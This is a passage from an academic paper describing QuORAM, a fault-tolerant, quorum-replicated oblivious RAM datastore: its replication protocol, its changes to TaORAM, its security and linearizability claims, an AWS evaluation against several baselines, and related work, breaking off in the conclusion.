information since an attacker already observes what ORAM
units are accessed while querying.

QuORAM’s choice to communicate with only a quorum
of ORAM units, instead of all, may result in a client not re-

ceiving a full quorum of responses (due to individual unit
failures or message losses), even if globally, a majority of
the units are alive. To ensure system progresses as long as a
majority of ORAM units are live, we use timeouts to detect
an unresponsive unit in a quorum and replace it with another.
This brings us to the final design of QuORAM’s replication
protocol, whose pseudocode is described in Algorithm 1. Al-
gorithm 1 and the rest of the paper distinguishes logical reads
and writes from ORAM reads and writes by denoting logical
operations as l_read and l_write (indicating GET() and
PUT() requests respectively of a key value store), and ORAM
operations as o_read and o_write (representing the query
and propagate phase messages, respectively). Algorithm 1:

Algorithm 1 Pseudocode for QuORAM’s replication protocol
executed by a client with id cId for an operation of opType ∈
l_read, l_write on block bId and update value v.

Query Phase:
1: Q← randomly select a set of ⌈(N +1)/2⌉ ORAM units
2: opId← a globally unique operation ID
3: Multicast o_read(opId, bId) to all ORAM units in Q.

Collect each response (vi, tagi), where tagi is a tuple of
(seqNumi, cIdi)

4: While waiting for all responses from Q, if a read request
sent to ORAM unit U times out:

(a) U′ ← randomly selected unit not in Q

(b) Q← Q + U′ - U

(c) Send o_read(opId,bId) to U′

5: Upon receiving responses from all Q units, select the
response r with the highest tag

6: If opType = l_write, set t ′ ← (r.tag.seqNum+ 1,cId)
and v′← v

7: If op_type = l_read, set t ′← r.tag and v′← r.v′

Propagate Phase:
8: Multicast o_write(opId,bId,v′,t ′) to all units in Q
9: While waiting for all responses from Q, if a write request

sent to ORAM unit U times out:

(a) Execute steps 4(a) to 4(c)

(b) Send o_write(opId, bId, v′, t ′) to U′, without
changing t ′ and v′ sent in Step 8

10: Upon receiving acknowledgements from Q, the client
considers the (logical) operation complete

1. A client C that wants to logically read or write a block
bId starts the protocol by picking a quorum Q of ran-
domly chosen majority of ORAM units (line 1).

2. The client assigns its operation a globally unique oper-
ation id, opId, (e.g., a sequence number and a client’s
unique id) as shown in line 2. This opId, a separate
identifier from a data item’s tag, is important to identify
in-progress operations at both the client and proxies.
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(a) Timeline of the proxy in TaORAM (b) Timeline of a proxy in QuORAM

Figure 4: This figure captures the difference between the functionalities of a proxy in TaORAM vs. a proxy in QuORAM.

3. The client then multicasts o_read(opId, bId) to the
proxies in quorum Q, who in-turn may fetch the block
and the associated tag from their respective storage
servers and retain it in the subtree until the block is writ-
ten back (§5.2 will explain steps executed by a proxy).
The client waits to receive responses consisting of the
block’s value and tag from all proxies in Q (line 3).

4. If the client times-out while waiting for a response from
an ORAM unit U , it updates its quorum by removing U
and adding another randomly selected unit U ′ to Q. The
client then sends the o_read request to U ′.

5. Upon receiving Q responses, the client picks the re-
sponse r with the highest tag (line 5).

6. If client C’s operation is l_write, it updates the tag (t ′)
by incrementing the sequence number of the highest tag
and updating the tag’s client id to C’s id and sets the
value (v′) to the block’s new value v.

7. If client C’s operation is l_read, it retains the highest
tag (t ′) and its corresponding value (v′) of the response r
identified in Step 5.

8. Client C then broadcasts o_write(opId, bId, v′, t ′)
with the respectively updated value v′ and tag t ′ to the
proxies in Q and waits for their acknowledgements. A
proxy P that receives the o_write() message sends an
acknowledgement to C. However, the proxy P updates
the value and tag if and only if the received tag t ′ is
greater than its own tag value.

9. If the client times-out while waiting for an acknowledge-
ment from a unit U (line 9), the client re-executes steps
4(a) to 4(c), essentially updating the quorum Q and send-
ing o_read to the newly added unit U′. The client then
sends the o_write request to U′, without changing the
value v′ or tag t ′ sent in Step 8, which is important to
preserve linearizability. Note that even though only the
write part of the operation timed-out, the client sends
o_read before retrying o_write on the newly added
unit to ensure the proxy fetches the necessary block and
update its data structures accordingly.

10. Once the client receives acknowledgments from the quo-
rum Q, the client considers the logical operation to be
successful.

This concludes the discussion of QuORAM’s replication pro-
tocol. This protocol guarantees linearizability, as will be dis-
cussed in §5.3.

5.2 QuORAM’s ORAM Scheme

Having presented the replication protocol of QuORAM that
preserves linearizability, this section discusses QuORAM’s
goal of providing obliviousness by hiding access patterns.
QuORAM builds its ORAM scheme on top of TaORAM, de-
scribed in §2 and we suggest reviewing it before proceeding.

Challenge of using TaORAM as-is: If proxies in QuORAM
implement the ORAM scheme as-is in TaORAM, for each
logical request the proxies fetch the requested block’s path
twice and write it back to the server twice, incurring unnec-
essary communication and compute overhead. The reason
for the inefficiency is as follows: in a single execution of the
replication protocol described in §5.1, a given proxy is either
part of the quorum or not. If part of the quorum, the proxy al-
ways receives an o_read request in the query phase followed
by an o_write request in the propagate phase, regardless of
the type of logical request (Figure 3). Recall from §2 that
for every ORAM request, TaORAM fetches a path, flushes
it, and writes it back (after k requests) to the server. If the
proxy treats the o_read and o_write as two separate and
independent ORAM operations, then it fetches a path (real or
fake) and writes it back to the server for both ORAM requests,
incurring unnecessary overhead.

Solution: To mitigate the double fetching/writing of a
block’s paths, all proxies in QuORAM treat the two ORAM
operations as correlated, and execute a single fetch and a
single write-back for each logical operation. We discuss
what happens when an adversary suppresses an o_read or
o_write later. Figure 4 illustrates the details of a proxy’s
interactions between a client and its external storage in QuO-
RAM and contrasts them with the corresponding interactions
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in TaORAM. We now discuss in more detail how QuORAM
manages the execution of logical operations.

Challenge of asynchronously receiving o_read and
o_write: QuORAM considers an o_read followed by an
o_write as a single logical request, but they arrive sequen-
tially; an adversary who controls the communication channels
can control the interval between the two ORAM requests. This
implies a proxy needs to remember for which request it has
already fetched a path from the server and for which request
it has not.

Solution: We achieve this by introducing a new data struc-
ture in TaORAM’s Processor called incompleteCacheMap, as
depicted in Figure 5. The incompleteCacheMap tracks client
operations that are read but not written by mapping an op-
eration to its requested block, i.e., opId to bId. If multiple
operations access the same block, the incompleteCacheMap
tracks them all. For the incompleteCacheMap, we use an
LRU-based cache with a bounded number of elements for our
evaluations (but any other cache design can be used). The size
of the incompleteCacheMap is a system configuration and we
assume the adversary knows this size.

Another change in QuORAM’s ORAM scheme compared
with TaORAM is in deciding when to write-back fetched
paths (Figure 4). Conceptually, both ORAM schemes write-
back k paths to the server after serving k requests, and both
schemes track the number of requests served with a counter
denoted by paths. But the main difference lies in how the two
schemes define a single client request: TaORAM considers
an o_read or an o_write as an independent, single client
request, whereas QuORAM considers an o_read followed
by an o_write with matching opId as a single client request.
Due to this difference, TaORAM increments paths imme-
diately after fetching a path from the server, indicating the
accessed path is ready to be written back; whereas QuORAM
waits until receiving the corresponding o_write before in-
crementing paths. Both schemes write-back when the paths
counter value reaches a multiple of k.

Figure 5 provides the stepwise interactions between the
various components of QuORAM. In the figure, Subtree,
TaORAM Logic, and TaORAM Sequencer denote TaORAM’s
unmodified subtree, Processor and Sequencer logic (see Sec-
tion 2). The steps depicted in Figure 5 are as follows:

1 A client sends an o_read(opId,bId) request to a quo-
rum of proxies (Figure depicts interaction with one). The
unmodified TaORAM Sequencer records the request and
forwards it to the Processor.

2 The Processor adds a new entry opId : bId to the incom-
pleteCacheMap. If the cache is full, it evicts an entry
based on the cache policy before adding the new en-
try; cache eviction increments paths (§5.2.1 describes
the reasoning). The Processor then forwards the request
to the TaORAM Logic, which abstractly represents all
the unmodified data structures and execution logic of
TaORAM’s Processor.

Figure 5: QuORAM’s ORAM scheme built atop of TaORAM.

3 The TaORAM Logic then fetches a path - real or fake -
from the external server.

4 The Processor moves the fetched path, real or fake, to
the Subtree.

5 Irrespective of real or fake reads from the server, the
Processor sends the read response back to the client,
through the Sequencer. For fake reads, the block’s real
value can be found either in the Subtree or the Stash.
For real reads, the Processor assigns the block bId to a
new path. The Processor then flushes the fetched path –
real or fake (see §2 for details on flushing).

6 The client (after receiving responses from a quorum
and updating the value and tag according to Algorithm
1) sends an o_write(opId,bId,v′,t′) to the chosen
quorum of proxies.

7 Since o_write requests do not access the external server,
they can be processed directly by the Processor bypass-
ing the Sequencer, without breaking obliviousness. Upon
receiving o_write, the Processor of a proxy checks if
incompleteCacheMap has an entry for opId and bId :
if yes, it executes step 8 ; if no, i.e., the cache evicted
opId : bId entry in between o_read and o_write, then
it executes step 9 by sending a negative acknowledg-
ment to the client, indicating this request has failed.

8 The Processor removes the opId : bId entry from the
incompleteCache, increments the paths counter and for-
wards the o_write request to TaORAM Logic. When
paths reaches a multiple of k, TaORAM Logic asyn-
chronously writes back k paths to the server. After receiv-
ing a write acknowledgement from the server, TaORAM
Logic deletes the k paths from the Subtree. Importantly,
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while deleting the paths, TaORAM Logic does not delete
blocks that are pointed to by incompleteCacheMap.

9 The Processor then sends a positive acknowledgment
to the client, and after receiving acknowledgments from
the chosen quorum, the client considers its operation
complete. If a client receives at least one negative ac-
knowledgement from any proxy, it deems its request as
unsuccessful. Based on the application, the client may
retry the failed request.

5.2.1 Discussion on incompleteCacheMap eviction

Along with tracking ongoing client requests, incomplete-
CacheMap’s other main role is to limit an adversary from caus-
ing a memory overflow at a proxy. An adversary can send only
o_read messages of clients and suppress all o_write mes-
sages. Because the ORAM scheme fetches paths on o_reads
and it writes-back paths and clears their memory upon receiv-
ing k o_writes, if a proxy receives only o_reads without
any o_writes, its memory can overflow. To mitigate such ad-
versarial behavior, we choose a limited-size cache-like datas-
tructure that dictates how many in-progress requests a proxy
can serve at a given time. As described in Step 2 , if the
Processor finds incompleteCacheMap to be full when a new
o_read arrives, it evicts an entry based on the cache eviction
policy and increments the paths counter. The counter incre-
ment is necessary to ensure a proxy writes-back paths even
if it receives no o_writes. Because we assume an adversary
knows the incompleteCacheMap size, writing k paths back
after k combined o_writes and cache evictions does not leak
any non-trivial information to an adversary.

An important detail for obliviousness and linearizability
lies in the details of what happens when a block gets evicted
from the incompleteCacheMap. Eviction from incomplete-
CacheMap does not mean eviction from the proxy. Eviction
merely allows the proxy to forget that the evicted block had
an in-progress request and allows the proxy to treat it as
a block whose logical operations are complete. When the
incompleteCacheMap evicts an entry, opId : bId, the opera-
tion’s o_write request becomes a no-op because whatever
the proxy read in the o_read operation is no longer guar-
anteed to be present in the proxy. Hence, the proxy notifies
a client if its o_write request failed by sending a negative
acknowledgement ( 7 ) and the application can decide how
to handle negative acknowledgements. We assume that the
adversary knows the incompleteCacheMap size; hence reveal-
ing the type of acknowledgement – positive or negative – to
the adversary does not break obliviousness.

5.2.2 Discussion on a proxy’s memory usage
As discussed earlier, QuORAM writes-back k paths to the
server after serving k client requests. But as seen in step 8 ,
after a write-back completes, QuORAM deletes only those
blocks with no pointers in the incompleteCacheMap (i.e.,
QuORAM retains blocks accessed by ongoing requests).

Memory Issue: QuORAM’s logic of not deleting certain
blocks in the k paths after a write-back can cause a proxy’s
memory, i.e., Subtree, to grow unbounded (more precisely, it
is bounded by N, the database size) if the retained blocks are
never accessed again (a larger Subtree may indirectly cause
a larger Stash). To see why, we consider a simple example
where k = 1 and two concurrent logical operations op1 and
op2 access the same block, b1. Say, a proxy receives op1’s
o_read first, upon which it fetches a real path containing b1
from the external server. While the path is being fetched, it
receives op2’s o_read and since the proxy already asked to
read b1’s real path, it reads a fake path from the server for op2.
When both o_reads are answered, the proxy receives op1’s
o_write, which increments paths and initiates a write-back
(because k = 1). The proxy writes the path back but cannot
delete b1 because it has not yet received op2’s o_write re-
quest (and op2 read a fake path). If op2 updates the block and
the path that block b1 resides on is never accessed and hence
never written back again, then b1 may permanently reside in
the proxy. If many such contending requests occur for dif-
ferent blocks at k write-back boundaries, a proxy’s memory
may grow unbounded. We note that in practical scenarios,
this type of memory growth is improbable since clients will
likely access some block in b1’s path over time and b1 will
be opportunistically written back to the server, freeing it’s
memory. But the unbounded memory issue is a theoretical
possibility.

Solution: To mitigate the unbounded memory growth prob-
lem, QuORAM creates a daemon process in the proxies
wherein the daemon process simulates a client access every
preset interval of time (e.g., 100 ms). The background process
mimics both o_read and o_write requests within a proxy
and that proxy fetches a path – real or fake – in accordance
with the ORAM algorithm, flushes the path, and writes-back
k paths after k accesses, including the accesses generated by
the background process. We assume the adversary is aware
of this behavior, where irrespective of client requests, each
proxy performs its own access at regular intervals.

To further ensure that a proxy’s Subtree (and hence it’s
Stash) does not grow in between the background thread’s
access intervals, we add a new datastructure called excess-
Blocks. Going back to the memory issue example, excess-
Blocks stores all blocks retained by the proxy after a write
back to accommodate ongoing client requests. Introducing
this new datastructure modifies Step 8 of the ORAM logic:
after receiving a write acknowledgment of k paths from the
server, a proxy moves to excessBlocks all blocks in those
k paths that are pointed to by the incompleteCacheMap and
which would otherwise have been deleted by TaORAM. This
allows TaORAM Logic to free up all k paths from Subtree.
We experimentally show (§6) that the size of excessBlocks
remains low, irrespective of contention in workloads. Ap-
pendix C formally analyzes the size of Stash, which is of
order O(logN).
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Regarding how the daemon process selects the blocks to
access, it can be sequential, pseudorandom, or blocks in ex-
cessBlocks. If an application chooses to access blocks in
excessBlocks, it must be noted that only blocks with no en-
tries in incompleteCacheMap can be accessed and if no such
blocks exist or if excessBlocks is empty, then the daemon
process must continue to access blocks at preset intervals of
time. Intuitively, how the daemon process selects blocks has
no implications on obliviousness because this process sim-
ulates client requests; if an ORAM scheme hides how and
what blocks are accessed by clients, then it also hides how
and what blocks are accessed by the background process.

5.3 Security and linearizability of QuORAM
SECURITY:
The following theorem captures QuORAM’s security.
Theorem 1: Assuming individual ORAM units are aaob-
secure, QuORAM is l-aaob-secure.

Appendix A describes the detailed proof of the theorem.
The core idea of the proof lies in how QuORAM replicates
data: for all types of logical requests, QuORAM executes
query and propagate phases. Both phases access the same
number (i.e., majority) of ORAM units, even in the presence
of failures. All system configurations – k the write-back fre-
quency parameter, the incompleteCacheMap size, and the ac-
cess interval of a proxy’s daemon process – are known to an
adversary, and hence any decision made based on these con-
figurations does not leak any new information to an adversary.

LINEARIZABILITY:
Theorem 2: QuORAM provides linearizability.

Arguing for linearizability – defined per data item – in repli-
cated data systems, especially semi-honest ones, is non-trivial.
Appendix B provides a detailed proof of how QuORAM guar-
antees linearizable semantics.

Intuitively, QuORAM’s linearizability proof captures two
main relations between any two operations: (i) the tag val-
ues of any two completed logical operations have a strict
less-than or less-than-or-equal-to relation; and (ii) a given
logical operation – read or write – is atomic. The former point
captures the relative ordering of logical operations and this
order is particularly important for conflicting operations. The
latter point implies that if an operation opi wrote a block, then
an operation op j immediately succeeding opi must read the
block written by opi; and if operation opi merely read a block
without writing it, then operation op j immediately succeeding
opi must also read the same value as opi. We further note that
even a compromised client executing QuORAM’s replication
protocol does not violate linearizability.

6 Evaluation
In this section, we discuss QuORAM’s experimental evalua-
tions and contrast its performance with multiple baselines. Of

N.California Ohio N. Virginia
N. California 6.3ms 51.32ms 62.19ms

Ohio 53.34ms 3.24ms 13.26ms
N. Virginia 63.48ms 11.98ms 4.87ms

Table 1: RTT latencies across different datacenters in ms.

particular interest is a baseline that resembles Obladi [13]’s ap-
proach to fault tolerance. As noted earlier, to date Obladi is the
only other ORAM-based system that tolerates trusted proxy
failures. Obladi achieves this by relying on the fault tolerance
guarantees of cloud databases; Obladi pushes the necessary
state of the proxy periodically to the external fault-tolerant
database and recovers the proxy’s state from the database
if and when the proxy fails. While Obladi provides many
additional guarantees, such as oblivious ACID transactional
guarantees, we focus on its design choice for fault tolerance.

While replication forms the core of fault tolerance, the two
systems choose contrasting designs to replicate data: Obladi
relies on the external cloud database to manage replicas and
QuORAM manages replicas itself. To precisely measure how
the choice of replication affects performance, we build a base-
line consisting of a single TaORAM proxy (since TaoStore
is the basis of QuORAM’s ORAM scheme) that relies on a
fault-tolerant open source database, CockroachDB [36], to
replicate data. The goal of this baseline is to contrast the per-
formance when an ORAM datastore (such as Obladi) relies on
a replicated database for fault tolerance vs. using QuORAM.

6.1 Experimental Setup

We evaluated QuORAM and its baselines on AWS using
r5.xlarge instances with 32GB of memory, Intel Xeon Plat-
inum 8000 CPU with 4 cores @ 3.1GHz, and a gp2 SSD.
Storage servers for QuORAM and its baselines persist the
data on disk. We run our experiments on three different dat-
acenters N. California, Ohio, and N. Virginia and Table 1
records the round-trip-time (RTT) latencies across and within
the three datacenters. All the experiments place an ORAM
unit (server & proxy) and a client process in each datacenter.
Each client process creates 100 concurrent threads to achieve
concurrency. We believe this reflects a setup for real-world ap-
plications where geo-distributed clients access data replicated
across different datacenters. Note that we chose a replica-
tion factor of 3 as current state-of-the-art databases typically
choose a replication factor of 3 [1, 2].
Baselines:

Along with the CockroachDB-backed baseline, we evaluate
QuORAM with 2 other baselines as well. Note that all base-
lines and QuORAM receive requests from geo-distributed
clients. The 3 baselines are:
1. Insecure Replication Baseline: To measure the cost of
providing obliviousness guarantees, we compare QuORAM
with an insecure replication baseline that implements QuO-
RAM’s replication protocol (§5.1). More precisely, a client
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queries from a majority quorum; for reads it picks the value
corresponding to the highest tag and for writes it increments
the highest tag and updates the value; it propagates the (poten-
tially updated) tag and value to the same quorum it read from.
In this baseline, the clients interact directly with the datastore
replicas, eliminating the need for proxies, and clients do not
encrypt their data or perform any ORAM related operations.
2. Secure No Replication (TaoStore): To measure the costs
and benefits of fault tolerance, we use as a baseline the origi-
nal non-replicated TaoStore [31] design consisting of a trusted
proxy and an external server, both located in N. California.
We choose TaoStore as the non-replicated baseline over other
concurrent ORAM schemes because QuORAM ’s ORAM
logic closely relates to TaoStore’s and hence, TaoStore forms
a better baseline for evaluating the costs-benefits of replica-
tion, without accounting for performance differences due to
ORAM scheme disparities.
3. CockroachDB Baseline: This baseline deploys TaoStore
for obliviousness guarantees and CockroachDB [36] for fault
tolerance (via replication managed by CockroachDB). We use
a single trusted proxy (analogous to Obladi’s single-proxy de-
sign) placed in N. California and a three-node CockroachDB
cluster with replicas distributed across N. California, Ohio,
and N. Virginia data centers, similar to QuORAM’s setup.

6.2 Implementation details
We implemented QuORAM as well as the three baselines
by modifying an open-source Java implementation of TaoS-
tore, which forms the base ORAM scheme of QuORAM. The
implementation consists of ∼9,400 lines of Java code. The
implementation of QuORAM and its baselines can be found
in https://github.com/SeifIbrahim/QuORAM/. To eval-
uate the systems, we use YCSB-like [12] benchmarking.

The storage server stores 1 GB of data with a block size
of 4096 bytes and a bucket size of 4 blocks (i.e., each node
in the tree stored at the external server consists of 4 blocks).
To simulate an increasing load on the system, multiple client
threads request logical read/write operations. By default, the
experiments use 300 concurrent and geo-distributed clients
accessing data at once (unless noted otherwise in an exper-
iment). Each client chooses a type of operation at random,
sends the request, waits for the response, and then repeats
the process. Each run of the experiment lasts three minutes,
and all clients end exactly the same time. For each operation,
the block to be read or written is chosen randomly among all
the blocks in a Zipfian distribution with an exponent of 0.9
(unless stated otherwise in an experiment), and the operation
type is picked uniformly at random between read and write.
In all the experiments, each data point represents an average
of 3 runs and also marks the confidence interval. For system
configurations, we use a default value k = 40 and the daemon
process pseudo-randomly accesses blocks every 100ms, and
an incompleteCacheMap of size 1000 blocks.

Query phase Propagate phase
QuORAM 12ms 0.55ms

Insecure Replication 0.05ms 0.03ms

Table 2: Processing time spent in the query and propagate phases by
replicas in QuORAM vs. the Insecure replication baseline.

6.3 Experimental Results
6.3.1 Throughput and Latency
In the first set of experiments, we compare the throughput
and latency of QuORAM with the three baselines and see
the most counter-intuitive result in this work. Figures 6a and
6b respectively show throughput and latency observed while
increasing the number of concurrent clients.
i. QuORAM vs. Insecure Replication Baseline

We first compare QuORAM with an insecure baseline that
replicates data using QuORAM’s replication protocol (§5.1).
As seen in Figures 6a and 6b, QuORAM’s throughput and la-
tency values are closely comparable with that of the insecure
baseline despite QuORAM providing privacy and oblivious-
ness guarantees. To better understand the minor performance
differences between QuORAM and the insecure baseline, we
measured the average processing times spent by a replica in
both the query and propagate phases of the two protocols. Ta-
ble 2 records the processing time breakdown. As noted in the
table, QuORAM’s query phase requires the most time because
a proxy communicates with its server to fetch a path. This
includes 3-6ms intra-datacenter communication latency (Ta-
ble 1). The proxy also decrypts the read path, merges it with
the Subtree, and flushes the path, all of which incur process-
ing latency. Meanwhile, the propagate phase merely updates
a block in the Subtree. Although as noted in Table 2, the pro-
cessing time for both phases of the insecure baseline requires
extremely low latency compared to QuORAM, the commu-
nication cost (Table 1) overwhelms the processing time of
either protocols, causing both protocols to be latency bound.
Due to this reason, both QuORAM and the insecure baseline
have comparable performances. This experiment indicates
that in geo-replicated datastores, the overhead of encrypting
and hiding access patterns of data is negligible compared to
communicating with geo-distributed replicas.
ii. QuORAM vs. Secure No Replication Baseline This base-
line compares QuORAM’s performance with a non-fault tol-
erant baseline (TaoStore as-is). Because replication involves
additional communication with replicas and maintaining ad-
ditional data structures (e.g., incompleteCacheMap), one can
expect a replicated solution to perform worse than its non-
replicated counterpart. The reason why QuORAM outper-
forms a non-replicated TaoStore datastore is because TaoS-
tore consists of a single proxy, located in N. California, which
receives an increasingly higher number of concurrent client
requests, whereas the client load is balanced across the three
proxies in QuORAM. More importantly, since the experiment
consists of geo-distributed clients and the proxy resides in just
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Figure 6: (a) QuORAM’s throughput is comparable with the Insecure replication baseline, 2.4x of the No Replication baseline, and 33.2x
higher than using CockroachDB for fault tolerance. (b) QuORAM’s latency is comparable with the Insecure replication baseline, whereas the
No replication baseline and CockroachDB suffer from a bottle-necked single proxy. (c) Varying the write-back frequency parameter k has no
significant effect on throughput or latency of QuORAM. (d) Varying Zipfian exponent to produce low to high contention workloads has no
significant effect on throughput or latency of QuORAM.

one location for TaoStore, the clients farther from the proxy
face large access latencies, reducing the overall performance.
Due to both load balancing and geo-replication, QuORAM’s
peak throughput is 2.4x that of the non-replicated baseline.

iii. QuORAM vs. CockroachDB Baseline
Finally, comparing QuORAM with a replicated ORAM

scheme that relies on a fault-tolerant database, CockroachDB,
both in terms of throughput and latency, QuORAM clearly
outperforms CockroachDB. The two main reasons causing
CockroachDB to perform poorly are: (i) This baseline also
consists of a single proxy that utilizes the read/write interface
of CockroachDB to read and write the data on the external
database. This single proxy, located in N. California, suffers
from the same bottleneck issues as the non-replicated baseline.
To mitigate the single proxy bottleneck, deploying multiple
proxies – where a client communicates with any one proxy to
access data – is a non-trivial task. This is because each access
updates only one proxy’s position map, stash, and subtree data
structures, and the other proxies now have inconsistent data
or position maps. Such solutions can neither guarantee lin-
earizability nor obliviousness; (ii) The second reason causing
CockroachDB to perform poorly is its choice of replication
design: CockroachDB has a single leader for a given data item
and this leader sequentially replicates data across replicas. Be-
cause of this single leader approach, since every read or write
operation accesses the root node of the ORAM storage tree,
all client operations are executed sequentially. QuORAM,
on the other hand, employs a decentralized replication proto-
col, mitigating the single leader bottleneck. Because of the
above two bottlenecks, CockroachDB performs worse with
increasingly concurrent client requests.

6.3.2 Varying write-back threshold k

This set of experiments measures the throughput and latency
of client accesses while varying the write-back threshold k,
as seen in Figure 6c. The parameter k resembles a batching
threshold: the higher the value of k, the higher the number of

paths written back together and vice versa. Although proxies
in QuORAM process and maintain larger number of paths lo-
cally with higher k values, it also results in fewer write-backs.
Moreover, because a background thread executes write-backs,
k values do not have a significant impact on throughput (with
a range of 980-1030 ops/sec) or latency (about 290 ms), as
can be seen in Figure 6c. This indicates that the QuORAM’s
performance is independent of the frequency of write-backs.

6.3.3 Varying contention
This experiment measures QuORAM’s performance –
throughput and latency – while varying the contention levels
in client generated workloads and the results are shown in Fig-
ure 6d. Low contention, achieved by setting Zipfian exponent
close to 0, implies clients select blocks uniformly at random
from a pool of 262,140 blocks (the size of our dataset). High
contention, achieved by setting Zipfian exponent to 0.9, in-
dicates clients pick a small percent of the blocks (e.g., 10%)
with a high probability. Typically, in non-oblivious datastores,
contention in client workloads directly impacts the perfor-
mance with higher contention causing low performance and
vice versa. But the performance of an oblivious datastore, such
as QuORAM, must remain independent of the contention in
client workloads; otherwise an adversary can infer contention
in client workloads just by observing requests served per sec-
ond. As Figure 6d clearly indicates, QuORAM’s throughput
and latency values remain mostly constant with increasing
contention (increasing Zipfian exponent) in client workloads.
This experiment highlights the effectiveness of QuORAM in
remaining impervious to contention in client workloads.

6.3.4 Stash and excessBlocks size analysis
In the next set of experiments, we measure the average sizes
of Stash and excessBlocks data structures over a 10-second
window, calculated for a duration of 6 minutes, as shown in
Figures 7a and 7b, respectively. Both figures depict the size
of the respective data structures for two different Zipfian dis-
tributions in client workloads: Zipfian exponent close to 0
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Figure 7: (a,b) The number of blocks in both Stash and excessBlocks remains low. The Stash’s 10-second moving average size is under 1
block (implies the Stash has at least one block in the last 10 seconds) and excessBlocks at peak has 6 blocks (= 0.33 · logN where N=262140
blocks and logN ≈18). (c,d) When an ORAM unit crashes, after a short adjustment period, both throughput and latency values stabilize and the
stabilized values are higher for throughput and lower for latency compared to the non-replicated baseline.

(≈ 0.00001) indicates low contention (i.e., most requests ac-
cess unique blocks) and the Zipfian exponent of 0.9 implies
high contention (i.e., most requests access a small subset of
blocks). Moreover, this experiment executes with the write-
back threshold k set to 1. The reason we choose to analyze
the sizes of Stash and excessBlocks with varying contention
and with k = 1 is because of the memory issue discussed in
§5.2.2. Recall that the memory issue is caused when say two
logical operations access the same block and the second oper-
ation triggers a fake read. If the second operation’s o_write
arrives after the proxy initiates a write-back, the proxy cannot
delete the block after receiving a write acknowledgment from
the server (as TaoStore would have). To ensure the size of
Subtree, which impacts the size of Stash, remains low, we
move blocks that cause the memory issue into excessBlocks.
Because excessBlocks’s size can vary based on contention
as well as when the write-back occurs frequently, we mea-
sure its sizes across two extreme contention values and the
worst case write-back threshold. First, analyzing the Stash
size, Figure 7a highlights that the size of the stash remains
less than 1 over a 10-second window, matching QuORAM’s
theoretical Stash size guarantees of logN. Second, analyz-
ing the size of excessBlocks, Figure 7b indicates that even
though excessBlocks’s size in larger for high contention, for
both high and low contention workloads, it’s size remains
low (at worse (0.33 · logN) with N=262140 and logN = 18).
We note that choosing various strategies of how the daemon
process in a proxy accesses blocks – sequential, pseudoran-
dom, or blocks from excessBlocks – has no significance on
the size of excessBlocks. This experiment clearly highlights
that both Stash and excessBlocks remain small for all types
of contention in workloads.

6.3.5 Crash Experiment

The final experiment measures QuORAM’s performance
when one (N. California) of the three ORAM units crashes
when 300 clients execute operations and the crashed unit re-
mains unavailable for the remainder of the experiment. The
throughput and latency over time is depicted in Figures 7c

and 7d respectively. As the figures indicate, the through-
put drops and the latency increases steeply as soon as the
crash occurs; both values stabilize afterward. In both figures,
QuORAM’s throughput stabilizes at ∼800 ops/s and latency
stabilizes at ∼400ms. Even when failures occur, QuORAM
performs better than the non-replicated baseline. The drop
in QuORAM’s throughput, which is ∼300 ops/s, is roughly
one-third of the overall throughput ∼1080 ops/s. In fact, the
reason the drop in throughput is less than one-third of the
total throughput (∼300 instead of ∼360) is because this ex-
periment crashes the proxy in N. California, which adversely
affects only one set of clients. Whereas the clients in Ohio
and N. Virginia continue to benefit from forming a quorum
of two nearby proxies (Table 1). This experiment shows that
QuORAM performs better than the non-replicated baseline
even while tolerating f ORAM unit failures.

7 Related Work

While the literature on ORAM schemes consists of many
works [7, 13, 16, 25, 31–34], to date, Obladi [13] by Crooks
et al. is the only system to consider the fault tolerance as-
pect of an ORAM system. While Obladi provides transac-
tional (ACID) guarantees in an ORAM setting, it compares to
QuORAM in its durability or fault tolerance aspect. Obladi
assumes the external and untrusted cloud storage server to
be inherently fault-tolerant – a property guaranteed by most
cloud providers – and relies on this guarantee to make the
ORAM proxy fault-tolerant as well. Obladi pushes the state of
the stateful proxy to the external server at periodic intervals;
if the proxy crashes, it is restored to the last state pushed to
the server. QuORAM has two main advantages over Obladi’s
design choice of fault tolerance : i) in spite of backing up
the proxy’s state at set intervals, Obladi becomes unavailable
during proxy failures and recovery, and ii) as shown in the
experiments, relying on cloud providers for fault tolerance
incurs performance penalties compared to QuORAM’s choice
of fault tolerance . Another work EHAP-ORAM [24] relies on
Non-volatile Memory (NVM) based hardware to persist data
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to recover from crashes. But the proposed solution cannot be
generalized for non-NVM based ORAM datastores.

In Pharos [41], Zakhary et al. are one of the first to demon-
strate the challenges of extending ORAM schemes to in-
clude replication. The authors show that naively replicating an
ORAM system leaks non-trivial sensitive information. How-
ever, no correct ORAM fault-tolerant solution is proposed.

In a separate line of work, many works [10, 25, 26, 32–34,
42] have looked at extending a single ORAM server model
to multi-server, multi-cloud settings. In SSS-ORAM [34] Ste-
fanov et al. propose partitioned ORAM: an ORAM of N items
split into

√
N ORAMs, each of

√
N size, albeit with a single

cloud assumption. In [26], Lu et al. propose a distributed
two-server ORAM from a theoretical perspective. They show
that with two non-colluding servers, client bandwidth can be
reduced to O(logN). In [32] Stefanov et al. extend [34] to pro-
pose a multi-cloud oblivious storage solution to reduce client-
cloud bandwidth cost. An ORAM of N items is split across
two non-colluding servers where after each data block’s ac-
cess, the two servers perform two-cloud shuffling to randomly
shuffle the accessed block before its next access. In [25] Liu
et al. build on [32] to optimize both the client-server and the
cloud-cloud bandwidths, leading to reduced overall response
time. Oblivistore [33] extends SSS-ORAM [34] to not only
incorporate asynchronous concurrency but also to distribute
an N item ORAM into multiple servers. The work also pro-
poses ways to dynamically add ORAM nodes and external
storage servers. CURIOUS [7] proposes a simpler solution to
distribute data across multiple storage servers and serves con-
current client requests. ConcurORAM [10] allows a constant
c number of concurrent clients to query at a time and requires
APIs for fine-grained locking and additional datastructures
from the server.

While the above works extend a partition-based ORAM
scheme ( [34]) to multi-server or multi-cloud schemes, in [42]
Zhang et al. extend the tree-based ORAM ( [35]) into a two-
server setting by splitting the storage tree across two non-
colluding servers to enhance performance. While the above
proposals distribute data across storage servers, their deploy-
ment uses a single proxy. Recently Snoopy [14] partitions the
data and the proxies where for scalability, proxies executing
on trusted hardware serve different sets of client requests.

The main differences between prior proposals [14, 25, 26,
32–34, 42] and QuORAM are: i). the former proposals are
non-replicated, i.e. each server stores a disjoint set of data
items, whereas in QuORAM all servers store the same set of
data items; ii) the former proposals are not fault-tolerant and
can lose the data if a server or an ORAM client fails, unlike
in QuORAM that tolerates server and ORAM client failures.

8 Conclusion

This work proposed QuORAM, a quorum-replicated ORAM
datastore that provides fault tolerance and linearizable se-

mantics. To date, QuORAM is the first system to replicate
